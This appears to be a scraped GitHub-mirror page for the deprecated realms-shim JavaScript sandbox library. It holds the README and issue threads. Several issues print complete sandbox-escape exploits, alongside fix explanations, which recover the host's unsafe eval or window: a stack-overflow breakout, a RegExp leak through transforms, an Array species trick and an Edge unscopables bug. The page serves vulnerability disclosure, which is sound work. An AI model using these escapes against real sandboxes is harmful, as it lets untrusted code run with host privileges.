Git Product home page Git Product logo

realms-shim's Introduction

Realms Shim : OBSOLETE, INSECURE, NOT RECOMMENDED FOR USE

License

This repository contains a legacy shim implementation of an outdated Realm API Proposal.

The Realms proposal has been superceded by the ShadowRealm Proposal. This shim does not implement ShadowRealm, which (as of this writing) is a proposal at Stage 3 of the TC39 standardization process, so common JS engines should have support soon.

We do not recommend the use of this shim or the original Realms approach. While the Realm API allows the user to create a new set of independent built-ins (intrinsics), this cannot be used for isolation or security properties without either freezing those intrinsics or hiding them behind a Membrane. The shim provides no mechanism to do either, and both are non-trivial to implement. Without those, when two mutually-suspicious Realms are communicating, both must be extremely careful to prevent any object leakage, otherwise one Realm can pollute the globals or intrinsics of the other.

ShadowRealms defines a "callable boundary" which prevents objects from passing through, mitigating this danger.

In general, we recommend the use of alternate isolation tools like Endo and the related/embedded SES/HardenedJS environment. This provides lockdown() to tame the environment at startup, and the Compartment constructor to create evaluation compartments with independent (and potentially frozen) globals. In our experience with the Agoric SDK, we find Endo to be much safer and easier to use securely.

Limitations

The current implementation has 3 main limitations:

  • All code evaluated inside a Realm runs in strict mode.
  • Direct eval is not supported.
  • let, global function declarations and any other feature that relies on new bindings in global contour are not preserved between difference invocations of eval, instead we create a new contour everytime.

Building the Shim

git clone https://github.com/Agoric/realms-shim.git
cd realms-shim
npm install
npm run shim:build

This will install the necessary dependencies and build the shim locally.

Playground

To open the playground example in your default browser:

npm run shim:build
open examples/simple.html

Usage

To use the shim in a webpage, build the shim, then:

  <script src="../dist/realm-shim.min.js"></script>
  <script>
    const r = new Realm();
    [...]
  </script>

To use the shim with node:

  const Realm = require('./realm-shim.min.js');
  const r = new Realm();
  [...]

You can also use the ES6 module version of the Realms shim in Node.js via the package esm. To do that, launch node with esm via the "require" option:

npm install esm
node -r esm main.js

And import the realm module in your code:

  import Realm from './src/realm';
  const r = new Realm();
  [...]

Examples

Example 1: Root Realm

To create a root realm with a new global and a fresh set of intrinsics:

const r = new Realm(); // root realm
r.global === this; // false
r.global.JSON === JSON; // false

Example 2: Realm Compartment

To create a realm compartment with a new global and inherit the intrinsics from another realm:

const r1 = new Realm(); // root realm
const r2 = new r1.global.Realm({ intrinsics: 'inherit' }); // realm compartment
r1.global === r2.global; // false
r1.global.JSON === r2.global.JSON; // true

Example 3: Realm Compartment from current Realm

To create a realm compartment with a new global and inherit the intrinsics from the current execution context:

const r = new Realm({ intrinsics: 'inherit' }); // realm compartment
r.global === this; // false
r.global.JSON === JSON; // true

realms-shim's People

Contributors

agoricbot avatar caridy avatar dependabot[bot] avatar erights avatar exe-boss avatar jack-works avatar jdalton avatar jfparadis avatar katelynsills avatar koba04 avatar michaelfig avatar trusktr avatar warner avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

realms-shim's Issues

Breakout via RangeError: Maximum call stack size exceeded

You can break out of the example via:

function loop(g){
  try{
    g["eval"]('1');
  }catch(e){
    return e;
  }
  return loop(g);
}
loop(this);
const e = eval;
const f = e('Function')
f('return window')().top.document.title = "Oh No"

Tested on Chrome Version 76.0.3809.132 (Official Build) (64-Bit)

Need to shut down or transfer this shim project

Agoric has stopped investing in the realms-shim. We participate in advancing the realms proposal, but our primary energy is in the compartment shim and proposals (and the related lockdown, harden, ...). Either we transfer it to some other stakeholder of the realms proposal (attn @caridy), or we should shut it down. However, we also need to ensure that any relevant improvements made to the realms shim (such as @ExE-Boss's #302) are also applied to the compartments / ses / lockdown shim (such as at https://github.com/Agoric/SES-shim/blob/master/packages/ses/src/repair-legacy-accessors.js)

Any signal about supporting ESModules?

I need to run ESModule code in my project. But realms doesn't support it currently.
I have the willingness to resolve this problem but I don't know if it is acceptable for this project.

Proposal:

  1. I'll use TypeScript's compiler to compile ESModule into SystemJS Module ( an implementation example: https://github.com/Jack-Works/loader-with-esmodule-example/blob/master/src/typescript/typescript-shared-compiler.ts )
  2. After ESModule is translated into SystemJS Module, I'll provide a fake System object to execute and get the binding of the module.
  3. I'll expose an import handler that allows Realms to resolve each import statements. For example:
const options = {
    importHandler(origin, importSrc) {
        if (importSrc === 'std:virtual-scroll') return import('std:virtual-scroll')
        else return fetch(new URL(importSrc + '.js', origin).toString()).then(x => x.text())
    }
}
  1. I'll also handle the dynamic import() by the transform functions. But static import is only supported on the top level of the file.

This will make the Realms shim slower and bigger. Is that acceptable for realms-shim? If not, I will do that in my own project instead of contributing it to the upstream

transforms rely upon user-provided "string", can capture wrong-realm RegExp

Shortly after the 1.2.1 release, XmiliaH reported a new vulnerability in the shim. As explained in the blog post, we have stopped applying timely security fixes to the realms shim, so this represents an unfixed sandbox escape in the shim.

@XmiliaH's exploit looks like this:

const compartment = Realm.makeCompartment();
let HostRegExp;
try {
     compartment.evaluate('', undefined, {transforms: [{
         rewrite(rs) {
             return {src: {
                search(leaked) {
                   HostRegExp = leaked.constructor;
                   throw ''; // goto gotHostRegExp
                }
             }};
         }
     }]});
} catch (e) {
     // gotHostRegExp:
}
const HostObject = HostRegExp.__proto__.__proto__.constructor;

The attack exploits the fact that one of the source transforms assumes the input argument is a String, and applies a regular expression on it by invoking it's .search() method:

const htmlCommentPattern = new RegExp(`(?:${'<'}!--|--${'>'})`);
function rejectHtmlComments(s) {
  const index = s.search(htmlCommentPattern);
  if (index !== -1) {
    throw new SyntaxError(`possible html comment syntax rejected`);
  }
}

By supplying a non-string as the "transformed source" output of one transformer function, the subsequent transformer function (which doesn't transform anything, it just looks at the source code and rejects certain troublesome patterns) will get an object of the attacker's choosing. Because that code assumes the object is a String, it is invoked with the search() method and provided a RegExp object. That RegExp was built in the primal realm, allowing the attacker's fake search() method to follow the prototype chain up to the unsafe eval function.

It would have been a good idea to use uncurryThis to extract a safe uncompromised copy of String.prototype.search ahead of time, and invoking that against the (attacker-provided) alleged string. However the behavior of String and RegExp is complicated enough that this is no sure defense. The safest protection would be to coerce the alleged string into a real string first:

  const index = `${s}`.search(htmlCommentPattern);

Function.prototype.constructor is tamed in the host

We recently ran into a problem with the Realm shim. We're injecting the shim into our page via <script src="..."> and then using the Realm object. However, that causes Function to be tamed in the host page, which we weren't expecting to happen.

Recently we upgraded selenium-webdriver, one of our 3rd-party dependencies, that apparently now calls Function("...") to eval something. When the Realm shim is loaded, that no longer works. We end up getting TypeError: Not available when we call their driver.executeScript API call.

Is there a reason to tame Function in the host environment? We think we can work around it on our end by loading the Realm shim into a same-origin iframe instead, but I wanted to file this issue with you in case this behavior was unintended. I imagine this behavior will also trip up others trying to use the shim in the future.

Examples in readme broken.

const x = new Realm()

Uncaught TypeError: Realm is not a constructor
at new Realm (:115:15)
at :1:5

    throw new TypeError('Realm is not a constructor');

Realm.makeRootRealm({}) works for me.

indirect eval fails

Note that with the current implementation of realms-shim, adding the following test case to test/module/evaluators.js:

t.equal(safeEval(`(1,eval)('123')`), 123, 'indirect eval');

fails with:

TypeError: (1 , eval) is not a function

It also fails with the exported r.evaluate() function.

This failure seems wrong to me. Shouldn't indirect eval of this form be supported?

Tests: remove `t.plan` in favour of `t.end`

This repo should not use t.plan(NNN). It is a burden to maintain and doesn't gain anything over t.end().

For robustness (allowing subsequent test cases to run after one fails with an exception), the preferred pattern for test cases is:

test('description', t => {
  try {
    // [Test assertions go here.]
  } catch (e) {
    // [Fail the test case if there is an unexpected exception.]
    t.assert(false, e);
  } finally {
    // [Mark this test case as finished.]
    t.end();
  }
});

Endowments must be more permissive

At

// todo: allow modifications when target.hasOwnProperty(prop) and it

is the todo comment at the beginning of the proxy's set trap. This todo must now be done, in order for our translation of module live bindings to work. Attn @michaelfig

This undone todo has gotten in the way of sensible uses by @kumavis , though @kumavis is not blocked on this.

If endowments contain accessor properties, we must transfer those accessor properties to the scopeTarget, rather than copying its current value into a data property. Thus, we must avoid composing the endowments or the scopeTarget using ... as that has get/set semantics, rather than getOwnPropertyDescriptors/defineProperties semantics.

Need to ban apparent direct eval.

The Realm shim already rejects -- by a cheap regexp test -- apparent dynamic import expressions. On the moduleplus branch at https://github.com/Agoric/realms-shim/blob/moduleplus/src/sourceParser.js we also reject html comments. @SMotaal just reminded me of the other thing the realms shim should reject with a cheap regexp test: apparent direct eval expressions.

We must ban dynamic imports and html comments for safety reasons. Therefore our regexp should err in only one direction: banning code that is actually safe. The motivation for banning direct eval is different. The realms proposal will specify support for direct eval. The realms shim cannot emulate direct eval. If allowed, it would execute with the semantics of indirect eval. If code accumulates which counts on that incorrect behavior, it could deter platforms from the providing the correct behavior later on. However, if our regexp does not successfully ban all apparent direct evals even in odd cases no one would write, for example (eval)(str), this does not lead to unsafety. So our regexp can tolerate these slipping through.

Protecting prototype accross the sandbox

In my use case (web extension polyfill), codes run in the sandbox need to access to the "clean DOM" that means any changes outside of the sandbox can not affect the inner side of the sandbox.

Currently, I'm making a copy of the global object and provide it to the realms.

And this cause problem on the prototype:

For example:

// This file is running outside of the sandbox.
HTMLElement.prototype.a = 1
const div = document.createElement("div")
div.a // 1
// This file is running in the Web Extension polyfill, which based on the realms-shim
HTMLElement.prototype.b = 2
// Web Extension needs to access an isolated JS environment but a shared DOM environment
// So I copied everything on the globalThis. So HTMLDivElement and document is also accessable from the inside of the realms shim.
const div = document.createElement("div")
div.b // 2

After these two files run, both a and b are accessable from the outside world and the inside world.
Ideally it should only accessable from where it get changed. (a in the main frame and b in the realms shim)
I have some idea about how to protect the prototype (by replacing prototype with a Proxy) but not clear if realms shim will give some help.

per-evaluate options.sloppyGlobals

#30 introduced a root realm/compartment option called sloppyGlobals. It would be advantageous if this option could also be specified per-evaluation.

@erights, @kumavis, I need help deciding on implementation. The only options I see thus far for passing this kind of modification down to the scopeHandler (which is the code that decides if a sloppy global can be assigned) are:

  1. Indirect the creation of the scopeHandler so that it becomes a factory that is called per-evaluation instead of just once per compartment. This to me seems cleaner, but is a more drastic change.
  2. Create a source-code-inaccessible property (like a key that begins with a digit, yuck) on the scopeTarget (where the endowments are), and have the scopeHandler use it to determine behaviour.

And finally, should the per-evaluate option override the compartment option? I think it should.

Thoughts?

sandbox breach: symbol.Unscopables

As described in our recent blog post, the "eight magic lines" use a with statement to capture references to (what would be normally be) global variables and route them to a Proxy object. The Proxy then allows the first eval reference to connect with the real evaluator (making it a "direct" evaluation), and all other references get connected to the per-Compartment global object.

In JavaScript, the target of a with object can have a property with the special key designated by Symbol.unscopables, and its value is used to exclude names from the with capture, allowing those lookups to pass outwards to the real global. To prevent this, the realms-shim proxy watches for lookups of Symbol.unscopables and prevents gets and sets of that key. (Note that the property name is not a string: it is a special kind of object known as a "Symbol", and that particular value is only reachable as a property of the Symbol global)

On 04-Oct-2019, GitHub user @XmiliaH reported (to security at agoric.com) a sandbox breach that only occurred under the Microsoft Edge browser (version 44.17763.1.0). The exploit is pretty simple:

Object.prototype[Symbol.unscopables] = {window:true};
window

Apparently, the JavaScript engine in that browser has a bug that causes Symbol.unscopables to sometimes fail an equality test, bypassing the proxy's exclusion logic. We confirmed that current versions of Safari, Firefox, Chrome, and Node.js do not behave the same way, and do not appear to be vulnerable.

We reported the bug privately to the Microsoft Security Response Center (as MSRC Case#54433). After a few days, they confirmed the presence of the bug, but decided it did not warrant a security disclosure process (nor a bug number, probably because of the imminent switch to Chromium), and said we should feel free to present our findings publically.

We fixed the realms-shim bug as a side-effect of rewriting the proxy handler, in commit b19cecf. Instead of denying access to Symbol.unscopables specifically, the handler was rewritten to deny access to any symbol. This works around the Edge bug, and does not change the behavior on other engines.

This fix is present in the current release, realms-shim 1.2.1.

The minified build is broken

Repro:

  1. Check out v1.1.2.
  2. Follow the instructions to build the shim.
  3. Create a html file containing this:
<body></body>
<script src="dist/realms-shim.umd.min.js"></script>
<script>Realm.makeRootRealm()</script>
  1. Open it.

Unexpected: Realm.makeRootRealm() crashes with ReferenceError: Z is not defined.

This is because the minifier is minifying the name globalEval in repairFunctions, which is then converted to a string and joined with a string that defines globalEval.

This is also a problem with v1.1.1 but not with v1.1.0.

Realm is not a constructor

Using latest realms-shim.min.js in code as:

  import Realm from "./lib/realms.js"
  const realm = Realm();

Getting

(index):75 Uncaught TypeError: Class constructor j cannot be invoked without 'new'
    at (index):75

But if calling it as constructor realm = new Realm(), getting:

realms.js:1 Uncaught TypeError: Realm is not a constructor
    at new j (realms.js:1)
    at (index):75

I'm confused. I guess will try partytown for now.

rejectHtmlComments throws on bignumber.js comment

https://github.com/MikeMcl/bignumber.js/blob/986fd70e514e58e86d43bc9944547d82658e47ae/bignumber.js#L2427

const s = '// e.g 0.0009999 (e-4) --> 0.001 (e-3), so adjust s so the rounding digits'
const htmlCommentPattern = new RegExp(`(?:${'<'}!--|--${'>'})`);

function rejectHtmlComments(s) {
  const index = s.search(htmlCommentPattern);
  if (index !== -1) {
    const linenum = s.slice(0, index).split('\n').length; // more or less
    throw new SyntaxError(
      `possible html comment syntax rejected around line ${linenum}`
    );
  }
}

rejectHtmlComments(s)
/*
Thrown:
SyntaxError: possible html comment syntax rejected around line 1
*/

transforms rely upon Array-ness of user-supplied argument

Shortly after the 1.2.1 release, XmiliaH reported a new vulnerability in the shim. As explained in the blog post, we have stopped applying timely security fixes to the realms shim, so this represents an unfixed sandbox escape in the shim.

@XmiliaH's exploit looks like this:

let LastBadArray;
class BadArray extends Array {
     constructor() {
         super();
         LastBadArray = this;
     }
}
Realm.makeCompartment().evaluate('', undefined, {transforms: new
BadArray()});

const HostObject = LastBadArray[0].__proto__.constructor
// Elevate HostObject access to eval.
const HostArray = HostObject.keys({}).constructor;
let n = 0;
Object.defineProperty(HostArray, Symbol.species, {
     value: function() {
         if (n++ == 2) {
             return {
                 set length(value) {},
                 get length() {
                     this["0"] = 'x}=this;return ()=>eval;//';
                     return 1;
                 }
             };
         }
         return new HostArray();
     }
});
const Eval = (0, eval)('');
Eval

It works against the "fixed" 1.2.1 code, in which the user-supplied transforms option is combined with additional transforms, using concat:

  function factory(endowments = {}, options = {}) {
    const localTransforms = options.transforms || [];
    ...
    const mandatoryTransforms = [rejectDangerousSourcesTransform];
    const allTransforms = arrayConcat(
      localTransforms,
      realmTransforms,
      mandatoryTransforms
    );

The arrayConcat function is a safely-curried version of Array.prototype.concat, so it will behave as specified, but the official JavaScript specification has an interesting property: the type of the resulting Array is decided by the constructor of the first argument. Since the user's localTransforms appears first, it gets to be involved in the creation of the new Array. The attack uses this access to grab a reference to the host's Array object (which comes from the primal Realm). From there it climbs the prototype chain until it reaches the unsafe eval.

One fix is to supply a real Array for the first argument to concat:

    const allTransforms = arrayConcat(
      [],
      localTransforms,
      realmTransforms,
      mandatoryTransforms
    );

But a more-obviously-correct fix is to use an Array literal and the "spread operator" (...):

    const allTransforms = [
      ...localTransforms,
      ...realmTransforms,
      ...mandatoryTransforms
    );

This approach asks each argument for an iterator, but does not otherwise depend upon methods or types of the arguments.

rejectSomeDirectEvalExpressions is too aggressive

When it comes to evaluate arbitrary code inside a realm, sometimes throwing when direct eval is used (intentionally or not), makes the adoption of the shim more complicated. Even though executing the direct eval declaration as indirect eval is terrible, sometimes that compromise is desirable (e.g.: legacy code).

As today, this is one of the remaining issues for us to use the shim as it is, instead, it forces us to fork and change the logic in:
https://github.com/Agoric/realms-shim/blob/master/src/sourceParser.js#L97

I see few options:

  1. find ways to support direct eval (I haven't think much about this one since we put in place the mechanism to replace the eval ref after the initial evaluation, I imagine that this one is going to be almost impossible).
  2. provide some transpilation/transformation mechanism (via some configuration)
  3. provide a way to control whether or not that rule should be applied during evaluation.
  4. relax the rule or remove it entirely in favor of documentation (as it was before).

/cc @jdalton

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.